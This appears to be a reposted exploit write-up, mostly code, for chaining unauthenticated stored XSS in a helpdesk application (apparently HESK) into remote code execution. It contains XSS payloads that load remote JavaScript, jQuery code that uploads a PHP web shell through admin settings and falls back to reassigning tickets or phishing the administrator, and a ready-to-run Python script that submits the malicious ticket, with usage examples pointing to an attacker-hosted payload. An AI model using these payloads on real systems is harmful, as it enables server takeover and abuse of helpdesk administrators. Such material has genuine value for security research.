从未经身份验证的存储型 XSS 到 RCE

<script>alert('latitude')</script><script>alert('longitude')</script>

1;alert('stored XSS are the best!')1;alert('but how much space is available?')

<?php echo "Stored XSS is sexy but I really <3 RCE"; ?>

1;</script><script src='http://localhost/js/evil.js'/><script>//

(function(){  $(document).ready(function () {    $.get( "/admin/admin_settings.php", function(htmldata) {      var f = $('form[name="form1"]', $(htmldata));      // We will try to upload RCE payload      var fd = new FormData(f[0]);      fd.set('login-box-header', 'image');      var blob = new Blob(["<?php echo shell_exec('id'); ?>"], {        type: 'application/x-php'      });      fd.set('login-box-header-image', blob, 'whateverdontmatter.php'); /* Check it out: https://www.youtube.com/watch?v=w8QH93jWZbk */      $.ajax({        url: $(f).attr('action'),        data: fd,        processData: false,        contentType: false,        type: 'POST',        success: function(data){          // This is incorrect, page returns 200 either way and I am also being lazy with the printout of the backdoor, but this is just a PoC :D          console.log("Seems we were successful, check the door: http://localhost/cache/lbh_login-box-header-image.php");        }      });      // Remember to reset login-box-header to helpdesk-title and save settings again      var reset = new FormData(f[0]);      $.ajax({        url: $(f).attr('action'),        data: reset,        processData: false,        contentType: false,        type: 'POST',        success: function(data){          console.log("Cleanup done...");        }      });    }  });})()

(function(){  $(document).ready(function () {    var token = 0;    var ticket = "";    var sendIt = function(url, postdata) {       $.post(url,postdata);      return "hey";    };    var parseAdmin = function(htmldata) {      var f = $('form[name="form2"]', $(htmldata));        var u = $(f[0][1]);      var a = [];      $(u[0]).find('option').each(function(i,v) {        if(v.value != 0) { a[v.value] = v.text }        });      if (a[1] != null) {        return 1;       } else {        // We assume that next user that was created after admin has privs...        for (uu in a) {          if(a.hasOwnProperty(uu)) {            return uu;          }        }       }    };    var getMailInfo = function() {      return $.when($.get('/admin/mail.php'));    };    var reAssignPayload = function(reAssignTo) {      data = {        "owner": reAssignTo,        "track": ticket,        "token": token      };      sendIt('/admin/assign_owner.php', data);    }    var sendMessage = function(token, recipient) {      var data = {        "to": recipient,         "subject":"I need your input on this ticket",        "message":"Please read the log for ticket: " + window.location.href + "nnWhat do you think?nThanks.",        "signature":1,        "token":token,        "a":"send"};      sendIt("/admin/mail.php", data)    };    var passThePayload = function() {         getMailInfo().then(function(data) {        console.log("Passing payload to someone important...");        var adminOrnextBestThing = parseAdmin(data);        if ($('#changeOwnerForm').html()) {          // We can assign someone, go for it          console.log("We are allowed to reassign, attempting reassign to admin...");          reAssignPayload(adminOrnextBestThing);        }        else {          // Best we can do is send a phishing message with link to payload          console.log("Reassign denied, we'll go phishing admin with message...");          sendMessage(token, adminOrnextBestThing);        }      });    };    ticket = $('#changePriorityForm input[name="track"]').val();    token = $('#changePriorityForm input[name="token"]').val();    // testing if we can reach settings    $.get( "/admin/admin_settings.php", function(htmldata) {    var f = $('form[name="form1"]', $(htmldata));    if(!f[0]) {      passThePayload();    }    else {      // We get the page, can we submit settings??      $.ajax({        url: $(f).attr('action'),        type: 'POST',        data : $(f).serialize(),        success: function(response){        var error = $('div.alert.alert-danger', $(response));        if(error[0]) {          // There are errors          console.log('There are errors...');          $(error).each(function(i,v) {            var er = $(v).find('a')[0];            if($(er).attr('href') == "index.php") {              console.log('No access to save settings...');              passThePayload();            }          });        }        else {          console.log("Seems we have access to save settings, building backdoor...");          // We will try to upload RCE payload          var fd = new FormData(f[0]);          fd.set('login-box-header', 'image');          var blob = new Blob(["<?php echo shell_exec('id'); ?>"], {            type: 'application/x-php'          });          fd.set('login-box-header-image', blob, 'whateverSTILLdontmatter.php'); /* Check it out: https://www.youtube.com/watch?v=w8QH93jWZbk */          $.ajax({            url: $(f).attr('action'),            data: fd,            processData: false,            contentType: false,            type: 'POST',            success: function(data){              console.log("Seems we were successful, check the door: http://localhost/cache/lbh_login-box-header-image.php");            }          });          // Remember to reset login-box-header to helpdesk-title and save settings again          var reset = new FormData(f[0]);          $.ajax({            url: $(f).attr('action'),            data: reset,            processData: false,            contentType: false,            type: 'POST',            success: function(data){              console.log("Cleanup done...");            }          });        }      }});    }  });}); })()

#!/usr/bin/pythonimport sysimport requestsdef submitEvilTicket(target, payloadlocation):  proxies = {'http': 'http://127.0.0.1:8080'} # Debug  target = "%s/submit_ticket.php?submit=1" % target  data = {    'name': 'loca1gh0st',    'email': 'loca1gh0st@localhost',    'priority': '3',    'subject': 'You have a gh0st in the shell very soon',    'message': 'Duh-duh, duh duh. Who you gonna call? (loca1)gh0st busters!',    'latitude': '1;</script><script src="%s"></script><script>//' % payloadlocation, # Stored XSS up to 100 chars    'longitude': '1', # Stored XSS here to up to 100 chars    'screen_resolution_height': 123, # SQL injection here, not used in this exploit    'screen_resolution_width': 123, # SQL injection here, not used in this exploit    'token': 'whatever',    'category': '1',    'hx': '3',    'hy': ''  }  r = requests.post(target, data=data, proxies=proxies)  res = r.text  if "ticket.php?track=" in res:    print "Ticket submitted, now a user would need to view the ticket:n"    # If you like you could bs, grep or regex for the Ticket ID, but that's on you    return True  return Falsedef main():  if len(sys.argv) != 3:    print "(+) usage: %s <targetandpath> <payloadtarget>" % sys.argv[0]    print "(+) eg: %s https://192.168.121.103/hesk http://10.10.10.123/gh0st-inject.js" % sys.argv[0]    sys.argv[0]    sys.exit(-1)  target = sys.argv[1];  payload = sys.argv[2];  if submitEvilTicket(target, payload):    print "(+) We successfully sent a gh0st in the envelope"    print "(+) if target is between version -2019.1.0- and -June 28 2017 Version 3.1.0-"    print "(+) you should expect great success"  else:    print "(-) That failed, check your target path and if they have enabled captcha or equivalent!"    print "(-) If there is captcha involved do this step through you favorite proxy which is Burp!"if __name__ == "__main__":  main()

python ticketXXs.py http://localhost/ http://localhost/js/evil.js

原文地址：https://loca1gh0s7.github.io/MFH-from-XSS-to-RCE-loca1gh0st-exercise/